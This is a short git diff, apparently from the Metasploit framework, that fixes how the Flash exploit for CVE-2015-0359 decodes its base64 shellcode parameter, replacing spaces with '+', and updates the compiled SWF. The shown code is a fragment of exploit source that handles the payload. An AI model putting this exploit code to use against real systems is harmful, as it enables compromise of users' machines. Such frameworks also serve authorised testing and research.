diff --git a/data/exploits/CVE-2015-0359/msf.swf b/data/exploits/CVE-2015-0359/msf.swf index 4befa69648..e7244c61f2 100755 Binary files a/data/exploits/CVE-2015-0359/msf.swf and b/data/exploits/CVE-2015-0359/msf.swf differ diff --git a/external/source/exploits/CVE-2015-0359/Msf.as b/external/source/exploits/CVE-2015-0359/Msf.as index 1bf0cd1947..3556b41542 100755 --- a/external/source/exploits/CVE-2015-0359/Msf.as +++ b/external/source/exploits/CVE-2015-0359/Msf.as @@ -43,7 +43,10 @@ package private function mainThread():void { - b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) payload = b64.toByteArray().toString() ba.length = 0x1000 ba.shareable = true